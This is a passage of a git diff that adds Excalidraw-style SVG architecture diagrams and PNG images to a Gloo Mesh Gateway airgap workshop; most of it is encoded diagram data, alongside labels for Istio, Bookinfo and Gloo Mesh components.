ymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2XHUwMDBiYSo/rFxuXHUwMDE4KYSmSKPfRMC4iVx1MDAxMW/ouiRGYDFMKi2QMCVUaEVs3/ohRrhFXHUwMDEwXHUwMDAyk1x1MDAwZUtcdTAwMDJrqyVbk1wivkSbd1x1MDAxYdzynIg22kzARlL4N1x1MDAxM2xtUlx1MDAxOFvyY1ZcdTAwMDJcdTAwMDPd/V6yjdClv18j7C1F24bUX3dcdTAwMDQlsSCAKbZcYj7qkXJcdTAwMWZPcq99epZKX1x1MDAwYplcdTAwMWK8VnW0o7CxQJ7JjtzkQpKAwrBXPZH7XHUwMDFkmFx1MDAwMcdcdTAwMDLFYFx1MDAxYc1cdTAwMDOz91ns8nh6cYJbp6ei8Zg+viuis+hcdTAwMWWYPZxeM5VcdTAwMTk+t3msN72NMfJeq/gsXHUwMDBi5jlu9ub8lpL35PNFPJHJXo/qd/XOXVx1MDAwMONcdTAwMDa+vJtOSJxvuFx1MDAxOHaNnkJP71wi7sjMlLgwsSb+jT/v9YzoXHRcdFxiL+0pvFx1MDAxOFx1MDAwNu1cdTAwMTGM8Np0RLJRgK3H4FxiUHmKSlx1MDAxOZ53NoInJr1+tzQqXHUwMDBle/mqs18mrDicXHK6edVbY5/mXHUwMDFl8EK5XHUwMDFlloB5Soi04buNLJpuntyVupXabSV13VXl6vnlw8StYmhU0Fx1MDAwNVvJXHUwMDFlXy2lwFRgXGZcdTAwMWE0ujB4lCBcdTAwMWHNXHUwMDFjL0FopjHl6UbjZthJ1yentfO4XHUwMDBiXGbYXHUwMDA2XYQ07FdcdTAwMDMt/dJFvl6qXHUwMDBleOn9+rGTrzynyOlzXHUwMDAw41x1MDAwNr68m0CL81xyXHUwMDBmXHRa3Fx1MDAwNVwiwZhcdTAwMGLFt8l69V7PqIJcdTAwMTbGPOtVXG4hXHUwMDAys7h2iFx1MDAxNF4vSSlcdTAwMTlAXHUwMDE0ZFx1MDAwZmn+XHUwMDAzYEqpXGbgoTVwhihq6euBQZRcclxuflx1MDAxNaL8muLu8IQyV1x1MDAxM4IzqqjiW1x1MDAxND57r5wnyplscSaOxzHdw1x1MDAxOf6YdrMgolx1MDAwMk9cdTAwMDTyhCdcdTAwMTKQQ0ThicJEKqojmoJ+diUqM/30OD7LvLaBcNJvj++x/XHE11x1MDAxYTYsXHUwMDE0XHUwMDEx0nSH53qWeX5KTpsk0c+PR3GZXHUwMDFlJUJccjp1fpBcdTAwMDOiXHUwMDEzaqusvlx1MDAxYUOjtOJqmzwm722KKjhcdTAwMTHIXHUwMDEznEhFXHUwMDBlXHROXHUwMDFj0pgw52BG6j/Kh9LPXHUwMDBm652qXHUwMDBiOFx0K4/JW72vgpNfU9xcdTAwMDOcuJdtUJgrXHUwMDEzbuzfvUmOmT4rydf8tJxcdTAwMWXn+8niXVbeRlx1MDAxY5xIY1xiePlOdFTBXHTWTCnJWIhxp/ugk8a01bwu3N+owv1VoVF9LKaafZcziW1cdTAwMTTo11x1MDAxYTasg5mQpvv56MT5QVx1MDAwZYpO0Oq7i1x1MDAwM1x1MDAxZiyRQGyL0rze+1x1MDAxNFV4XCIl9vadyGj5Tlx1MDAxOMdMMVx1MDAwMFV/XHUwMDE0PCm/18vjz/WdbFDwa/Dk51x1MDAxND1cdTAwMTnRNSjOXvJ3lVx1MDAxM8m8MjTbXCLu1tuLvVx1MDAxNSeSz+NEQaWlpVx1MDAxNlxmU61cZiktc1wi18JSiFKMsVDSvVx1MDAwZty+jKioxangkjOp4LLVXHUwMDEyWqSqXHUwMDExSyNFTUM6TFx1MDAxNF3nUlx1MDAwNfJCKIpcdTAwMGVcdTAwMTeO/ymRcd4noEeLKDRcdTAwMTNPysHURVxiXHUwMDEwnFx1MDAxMEQge7zpryg0alGQxppiLqjQZD1cYs1XaJy3z3N5UoaYTLV/hCU2zVx1MDAwN8XapLRFMGNYXGJFKJPyI1xm9otGxrlcdTAwMTK3udbIejHcX/afW0s3wdy9IJKZWMktQuK8YWZUhZsk1FwiSFxujYBcdTAwMDeFzbnwU7YpXHUwMDBiwYtcdTAwMTZKYcmxe9TvvtJNalx1MDAwYitOJUZcdTAwMDQpxJVDu1x1MDAxOFx1MDAxMMMm/0FcdTAwMTKm5vGgq8KNXGKuOWCQ8Fx1MDAxMMjXXHUwMDEybiBGwDSlhGhlsJmiNqb6JdqYJShcYjelYOtB+Fx0uZts88Yky3NcdTAwMDKkKI1cdTAwMWJLc8Wwdlxi+lx1MDAwNTtcdTAwMWOQXHUwMDA1U4IpjTGnXzvo15WwzbVK0ltcbrZcclx1MDAxMTlk9d2P9GVMwaqQW1x1MDAwNM0l7tKj9+tYb4JTeDxcIvX+NT1x8ypFxoYyx8/avVx1MDAxOCjT2p9cdPX5rX5gblxitsfmpI+SV+nrdfpcdTAwMTGuelx1MDAxZVx1MDAwYlx1MDAwNCRAt+lcdTAwMWR610s2jjmtnlx1MDAwZk6m2dfn1mum+5aPPi9cYi9eXHUwMDEwlPhzsVx1MDAxZaTRXHUwMDBmWF9S84i2r/56jX6Ua/484DxcdTAwMDRcZkH9K4a7wVls+NZEb3eZ2Fx1MDAxYj95jyWTtZdoXHUwMDFmN4Ci9WJcdTAwMDVORHDl+Fx1MDAwMz5tQExSTomOZlwiyE2l0jjNXHUwMDBlume9XFw/l22fNth54Ti6MZXvsefs6LbWTbZksXL1Uu7Oklx1MDAwM1x1MDAxMcC4/HZ0VinN1EtV3uVzuVYu/db0KVx1MDAxMDzHXHJpeUNcdTAwMWH2+Vq0XHUwMDEyiedXObrsXHUwMDBlrp/v1etbtb/XKmwsx+/4IJ8gbd3bXHUwMDEyucJcdTAwMGVcdTAwMDKQQ1xusk0rWu99iijskFx1MDAwNld4yFrG/JUqOUzaiqRcdTAwMThxMM3+qJCLQ6WtbEBcdTAwMTLhpK1Q917RXHUwMDA0cdC1xlx1MDAxYumbRes3w7uz2vVgpppjPDq91MVRXHUwMDE2R1x1MDAxYlxmcUE97Vx1MDAwMu6zcdhcdTAwMDHAXHUwMDEw0ZxLRlU0zYKpJG/t8XOx03